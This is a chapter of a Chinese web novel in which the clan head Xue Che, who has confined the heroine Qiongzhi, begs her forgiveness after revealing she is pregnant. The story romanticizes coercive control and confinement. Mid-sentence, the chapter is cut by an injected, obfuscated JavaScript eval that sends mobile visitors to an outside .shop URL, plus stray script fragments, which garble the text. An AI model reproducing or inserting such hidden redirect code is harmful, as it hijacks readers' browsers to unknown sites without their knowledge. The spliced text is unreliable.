文趣网 > 其他小说 > 惊琼枝 > 43. 痴人
    听到琼枝醒来的消息时,薛彻正在书房内处理这几日府中堆积的事务。

    桌上摞着厚厚一沓账册与拜帖,他一手执笔,一手按着翻开的册页,眉心紧拧,却一个字也看不进去。

    阿满急匆匆跑来禀报时,话还没说完,薛彻便已搁下手中的笔,猛地站起身,抬脚便往外走。

    雪后初晴,日头惨白地挂在檐角,融雪顺着瓦当一滴一滴往下坠,砸在门沿的石板上。

    薛彻穿过回廊,踩着满地湿滑的积雪,一路疾行至锁青苑。

    他在门前站定,即将抬手推门的瞬间,却倏地顿住了。

    他深吸一口气,放轻了手上动作,缓缓推开房门。屋内炭火烧得正旺,与外头的冰天雪地判若两界。

    只见琼枝静静地坐在榻上,只着一件素白的中衣,外头随意搭了件大氅,更显得身形瘦削。

    她怔怔地望着窗外出神,侧脸在晨光里显出几分病态的白,下颌削瘦得几乎挂不住肉。

    脖颈上那一圈牙印结了痂,暗红的痕迹烙在她雪白的肌肤上,格外醒目。

    听到门口传来动静,琼枝没有回头看他。

    薛彻屏退左右,阿满退出去将房门小心翼翼阖上。

    霎时间,屋内只余满室寂静,和他们二人。

    薛彻走到榻边,在榻沿坐下,放轻了声音唤她:“琼枝。”

    琼枝恍若未闻,一动不动。

    她的目光依旧落在窗外那一片白茫茫的雪地上,空洞洞的,什么也没有。

    薛彻悄然挪动着,又坐近了些,伸手轻轻握住她搁在膝上的手。

    她指尖冰凉,毫无生气,他便用自己温热的掌心裹住,低低唤她:“琼枝,是我。”

    她依旧不答。

    薛彻将她的手贴上自己的侧脸,闭了闭眼。

    他开口,语气中透着强烈的疲惫与不安。

    “琼枝,你知不知道,你昏迷这段时日,我有多害怕……我害怕,我害怕失去你,我不能没有你。”

    他说着,攥着她手的力道不自觉加重了几分。琼枝下意识想抽回手,却被他一把捉住,十指扣紧,动弹不得。

    “我是真心的,琼枝。我只是太爱你了……我只是想用伤害你的方式来留下你。我……我真的不知道该怎么办了。”

    他的声音说到最后,已带着一丝几不可闻的颤抖。

    琼枝浑身一顿,缓缓转过头来。

    那双古井无波的眸子依旧没有一丝情绪起伏,琼枝看着近在咫尺的薛彻,半晌才开口,嗓子沙哑得几乎听不出她原来的声音:

    “薛彻,你为何要如此折磨我。”

    倒不如,让她真的死了算了。

    薛彻心头猛地一紧,他拼命摇头,将她那只冰凉的手紧紧攥在掌心里,声音里满是掩饰不住的慌乱:

    “不……不可以。琼枝,你不能死,你不能离开我……”

    他看着她这副万念俱灰的模样,只觉得胸口堵得发疼,喘不上气来。

    迟疑一瞬,他终究还是深吸一口气。

    “……无论如何,你也要为我们的孩子着想啊。”

    琼枝陡然瞪大了眼。

    “孩子?”

    她难以置信地看着他,唇瓣翕动了两下,浑身微微发起抖来。

    薛彻垂下头,不敢看她的眼睛,声音也低了下去:“是……大夫说,你有了身孕。只是你底子太差,气血有亏……若不好生将养,这一胎,只怕保不住。”

    琼枝眼前一黑,只觉得天旋地转。

    胸口翻涌着一股腥甜,几乎要呕出来,她身子晃了晃,差点从榻上栽下去。

    薛彻眼疾手快,一把捞住她的身子,让她靠进自己怀中。

    她脱力地倚在他胸口,气息微弱,肩膀一下一下细细地抖着,喉间溢出一声压抑破碎的呜咽。

    一口气堵在那里,上不去,也下不来。

    半晌,她才咬牙切齿地怒骂:

    “薛彻,你这个畜生。”

    薛彻抬手,一下一下轻拍着她的后背,掌心贴着她单薄得硌人的脊骨,声音低哑:“嗯,我是畜生。”

    她抬起手,一下又一下有气无力地捶打他的胸口。

    “你现在满意了?你以为让我怀上你的孩子,就能控制我了?我告诉你……你痴人说梦!”

    薛彻闭上眼:“嗯,我痴人说梦。”

    “薛彻,你卑鄙无耻,不得好死……”

    薛彻:“嗯,我不得好死。”

    “你……你就是为了这个孩子!”

    这一次,薛彻却没有顺着她的话应下去。

    他缓缓睁开眼,凝视着琼枝通红的双眸。

    心脏像是被人猛地一揪,生疼。

    薛彻柔声开口,声音里带着一种小心翼翼的、近乎乞求的郑重。

    “我不是为了这个孩子。大夫说你身子骨弱,这一胎你若不想留……那便不要了。”

    薛彻说罢松开她的手,从榻沿起身,双膝一弯,在她面前直直跪了下来。膝盖磕在冰冷的地面上,发出沉闷一声响。

    他双手重新死死握住她的,十指紧扣,仰头看着她。

    “我错了……琼枝,我真的知道错了。我不该跟你置气,更不该违背你的意愿将你强关起来。是我的错。你打我骂我也好,千万不能糟蹋自己的身子。”

    “只要……只要你能好好的,一切都无所谓。我不在意这一胎能不能保住。”

    他低下头,将额头埋

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17960314|206959||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    进她的指尖,像从前无数次他犯错后乞求她原谅一样。

    他的肩膀微微发颤,连声音也抖得不成样子。

    “我爱你,我只在意你。”

    “琼枝,我们重新开始吧。”

    屋内安静得落针可闻。

    窗外明亮的天光透过窗缝洒进来,落在薛彻躬起的脊背上,勾勒出一片寂寥的轮廓。

    炭盆里的火渐渐暗下去,只剩一点暗红的余烬,苟延残喘。

    琼枝垂眼,看着埋在自己指尖的那张脸。

    他从来都是高高在上的、睚眦必报的薛家家主,何曾这般低三下四地跪在谁的面前,低声乞求。

    可此刻她只觉得恍惚,觉得荒唐。

    他与她,不该走到如此地步的。

    他不该,她不该。

    琼枝唇瓣微动,喉间干涩得发疼,终究只是叹息一声。

    ----------------

    窗外又下起零星小雪。

    琼枝侧身躺在榻上,她双手紧攥着锦被,紧绷着背脊对着薛彻。

    他害怕琼枝无法接受有孕的事实,夜里做出一些出格的事来,于是便守在她身旁。

    相安无事良久后,身后的薛彻终究是忍不住,翻了个身搂住她单薄的身躯。

    琼枝身子战栗一瞬,但很快便恢复平静,如一条砧板上的鱼,任凭他宰割。

    薛彻呼吸平稳,注视着怀中紧闭双眼的人儿。

    榻前烛火摇曳,跳跃的火光透过层层纱幔投射到琼枝的面颊上,朦胧了她的五官,给她整个人罩上一股不可名状的悲情。

    薛彻长长呼出一口气,抬手握住她掖着被角的双手,紧紧扣上。

    “琼枝,你信命吗?就像六年前你遇到了我,注定命不该绝。如今你腹中有我的骨肉,是不是也如那日我们所求姻缘一样,是此生注定?”

    琼枝依旧闭着眼,语气无半点波澜:“……我早说过,那是假的。”

    “那又如何?我当真了,琼枝,我是真心想要和你一生一世一双人。”

    掌心粗粝的伤疤摩挲过她纤瘦的手背,琼枝眼睫轻颤。

    “从前我说,你姻缘线浅,克母克妻,才是真的。”

    “薛彻,就当是为我好,为我腹中的胎儿好,你放过我吧。”

    身后薛彻的呼吸一滞,他加重了手上力道,不死心地开口:“是因为我母亲么?那是她咎由自取!什么克母克妻……简直是天大的笑话!”

    琼枝不再多言,只是默默抽出他手中紧握的手,不动声色地挪了挪身子。

    “无论如何,这一次我都不会放手。”

    薛彻的温度再度从身后裹上来,他轻叹一声:“你也乏了,早点歇息吧。”